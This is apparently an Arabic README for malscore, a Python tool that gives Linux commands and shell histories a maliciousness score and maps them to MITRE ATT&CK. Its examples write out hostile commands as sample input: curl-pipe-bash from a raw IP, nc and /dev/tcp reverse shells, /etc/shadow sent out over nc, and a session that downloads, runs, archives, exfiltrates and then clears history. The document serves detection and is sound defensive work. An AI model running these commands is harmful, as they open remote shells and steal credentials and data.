
تقييم الخبث لأوامر Linux
يأخذ malscore سطر أوامر Linux، أو جلسة من الأوامر مثل سجل
الصدفة (shell history)، ويُعيد درجة خبث من 0 إلى 100 مع نطاق حكم
وربط بـ MITRE ATT&CK:
command(s) → features → signals → score + MITRE mapping
لا ينفذ أو يوسع أو يحل أي شيء أبدًا — بل يقرأ النص فقط
(مفروض بواسطة tests/test_safety.py). ليس لديه أي تبعيات تتجاوز مكتبة Python
القياسية (3.8+).
pip install malscore # provides the `malscore` command
من نسخة مستخرجة من المصدر:
pip install . # or run without installing, from the repo root:
python3 -m malscore "<command>"
# one command
malscore "curl -s http://45.33.2.1/x.sh | bash"
# the command from stdin
echo "nc -e /bin/sh 10.0.0.1 4444" | malscore -
# a session: one command per line, scored individually and across commands
malscore --session history.txt
history | cut -c8- | malscore --session -
# every command in a telemetry feed, high or worse only
malscore --batch events.jsonl --min-verdict high
# full evidence with MITRE technique ids
malscore "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1" --explain
# machine-readable
malscore --session history.txt --json
# gate use: exit code 2 when the verdict is high or critical
malscore --session history.txt --fail-on high
from malscore import Analyzer
a = Analyzer()
r = a.assess_command("curl -s http://1.2.3.4/x.sh | bash")
print(r.score, r.verdict) # 67 high
print([h.id for h in r.hits]) # ['download_pipe_interpreter', 'raw_ip_url', ...]
print(r.techniques) # ['T1059.004', 'T1105', 'T1071.001']
r = a.assess_session(["curl -o /tmp/p http://1.2.3.4/p", "/tmp/p"])
print(r.score, [h.id for h in r.hits]) # 75 ['staged_download_execution', ...]
print([c.score for c in r.per_command]) # each command's own assessment
print(r.as_dict()) # JSON-ready
Analyzer(redact=True) يحجب القيم التي تشبه بيانات الاعتماد قبل أن يُعاد إرسال أي نص من الأوامر؛ ولا تتأثر الدرجات بذلك.
أمثلة:
$ malscore "sudo cat /etc/shadow | nc 45.33.2.1 9001" --explain
██████████████████████░░ score 91/100 CRITICAL
tactics: exfiltration, credential-access, command-and-control
evidence:
[0.60] exfiltration Credential material is sent over the network
T1552 T1041
[0.55] credential-access The password hash database (/etc/shadow) is accessed
T1003.008
[0.35] exfiltration Data is sent over a raw socket
T1048
...
$ cat history.txt
cd /tmp
curl -s -o /tmp/.x http://45.33.2.1/x
chmod +x /tmp/.x
/tmp/.x
tar czf /tmp/etc.tgz /etc
scp /tmp/etc.tgz [email protected]:/srv/
history -c
$ malscore --session history.txt
████████████████████████ score 99/100 CRITICAL
history.txt
tactics: execution, defense-evasion, exfiltration, command-and-control, collection
7 command(s), 6 flagged:
████████████░░░░░░░░░░░░ L2 49 medium curl -s -o /tmp/.x http://45.33.2.1/x
███████░░░░░░░░░░░░░░░░░ L3 30 low chmod +x /tmp/.x
███████░░░░░░░░░░░░░░░░░ L4 30 low /tmp/.x
██████░░░░░░░░░░░░░░░░░░ L5 25 low tar czf /tmp/etc.tgz /etc
████████░░░░░░░░░░░░░░░░ L6 35 medium scp /tmp/etc.tgz [email protected]:/srv/
████████████░░░░░░░░░░░░ L7 50 medium history -c
signals: staged_download_execution, history_cleared, collect_then_exfiltrate, upload_public_ip, multi_stage, hidden_temp_path ...
في ملف الجلسة، كل سطر غير فارغ هو أمر واحد، يُؤخذ حرفيًا: لا توجد معالجة للتعليقات أو استمرارات الأسطر أو here-documents. --batch مختلف: فهو يقيّم كل أمر من خلاصة JSON بشكل مستقل، دون تحليل بين الأوامر.
| score | verdict | meaning |
|---|---|---|
| 80–100 | critical | الشكل نادرًا ما يكون مشروعًا (reverse shell، محو القرص، حساب uid‑0) |
| 60–79 | high | دليل قوي؛ راجع فورًا |
| 35–59 | medium | مريب في معظم السياقات (curl‑pipe‑shell، قراءة shadow) |
| 15–34 | low | يستحق الملاحظة عند الاقتران |
| 0–14 | benign | روتيني |
النطاقات والأوزان هي نقطة بداية مضبوطة يدويًا، وليست نموذجًا مدرَّبًا — كل نقطة من النقاط تُعزى إلى إشارة مسمّاة وتقنية MITRE ATT&CK.
الميزات. يُحلَّل الأمر لغويًا (دون تنفيذ أي شيء)، وتُفكّ الأغلفة مثل sudo/env/xargs، ويُنزل إلى الاستبدالات وحمولات -c، وتُحسب الميزات الحتمية — سلاسل التنزيل، المسارات الملموسة، أسطح الاستمرارية، حيل الترميز، ومجموعة tradecraft (malscore/tradecraft.py) التي تتعرف على تقنيات مهاجم محددة حسب الشكل.
الإشارات. malscore/signals.py هو كتالوج يضم ~120 إشارة مسمّاة: محمول فوق سجل الميزات، ووزن في (0, 1]، ومعرّفات تكتيك وتقنية MITRE. يُقرأ الوزن على أنه "ما مدى احتمال أن يكون هذا عدائيًا لو كان الشيء الوحيد الذي نعرفه". يمتد الكتالوج، حسب تكتيك ATT&CK:
/proc/self/fd؛/etc/shadow والمفاتيح الخاصة، بيانات وصفية سحابية، عمليات بحث بكلمات مفتاحية لبيانات الاعتماد فوق ملفات الإعداد، قراءات .pgpass/.netrc/ملفات بيانات الاعتماد السحابية، كشط البيئة والسجل، اختطاف SSH-agent؛sudo -u#-1، اختطاف PATH؛/proc؛DROP TABLE، قتل جماعي للعمليات.قواعد البيانات الحساسة العامة (أنماط البطاقات/SSN، مقالب قواعد البيانات، أسماء الجداول مثل card، token، customer) تُشحن مفعّلة افتراضيًا؛ اضبط مفردات SENSITIVE_TABLE_RE في malscore/tradecraft.py لبياناتك الخاصة.
التجميع (noisy‑OR). تتحد الأوزان كـ 1 − ∏(1 − wᵢ)، فتتراكم الإشارات الضعيفة الكثيرة لكنها لا تفيض أبدًا، وتسيطر إشارة قوية واحدة. تُخفَّف الإشارات الزائدة التي تتشارك تكتيكًا، فإطلاق ثلاث فحوصات استمرارية لا يُحتسب كثلاث نتائج مستقلة.
الجلسات. يُقيَّم كل أمر في جلسة كما سبق (مساهمته محدودة بـ 0.9، حتى لا يجعل أمر صاخب واحد جلسة طويلة حرجة)، ثم تبحث إشارات بين الأوامر عن أنماط لا يُظهرها أي أمر منفرد — ملف نُزّل مبكرًا وشُغّل لاحقًا، بيانات جُهّزت (مقلوبة أو مؤرشفة أو مضغوطة) ثم نُقلت لاحقًا عبر scp، وصول إلى بيانات الاعتماد بعد تصعيد صلاحيات، رفع بعد وصول إلى بيانات الاعتماد، حذف بيانات مجهّزة بعد إرسالها، تنزيل مع استمرارية، نشاط يتبعه مسح للسجل/السجلات، أو نشاط يمتد عبر ثلاثة تكتيكات أو أكثر.